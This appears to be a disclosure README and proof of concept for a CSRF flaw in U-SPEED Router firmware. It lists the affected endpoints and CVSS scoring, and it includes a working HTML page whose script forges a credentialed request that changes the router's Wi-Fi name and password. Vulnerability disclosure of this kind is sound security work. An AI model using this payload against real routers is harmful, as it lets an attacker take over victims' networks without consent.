kirubel-cve/cve-2026-36960Proof-of-concept exploit for CVE-2026-36960, a CSRF vulnerability in U-SPEED Router firmware allowing unauthorized configuration changes via forged requests.
CVE ID: CVE-2026-36960 Date: 2026-04-29 Discoverer: Kirubel Solomne Vendor: U-SPEED Product: U-SPEED Router Firmware Version: V1.0.0 CWE: CWE-352 - Cross-Site Request Forgery (CSRF)
The U-SPEED Router firmware V1.0.0 does not implement CSRF protection mechanisms such as anti-CSRF tokens or strict Origin/Referer validation for administrative API endpoints. An attacker can craft a malicious webpage that sends forged HTTP requests to configuration endpoints. If an authenticated administrator visits the malicious webpage, the router processes the request as a legitimate administrative action.
CVSS v3.1 Score: 8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
| Metric | Value |
|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | Required |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | High |
| Endpoint | Function |
|---|---|
/api/setWlan | Wireless network configuration |
/api/telnet | Telnet service configuration |
| Other config endpoints | Various administrative functions |
<!DOCTYPE html>
<html>
<body>
<script>
fetch('http://192.168.10.1/api/setWlan', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
ssid: "Hacked_Network",
password: "attacker123"
})
});
</script>
</body>
</html>
Expected Behavior: Request should be rejected due to missing CSRF token. Actual Behavior: Router accepts and processes the forged request.
| Date | Event |
|---|---|
| 2026-04-29 | Vulnerability discovered |
| 2026-04-29 | Reported to MITRE |
| 2026-04-29 | CVE-2026-36960 assigned |
| 2026-04-29 | Public disclosure |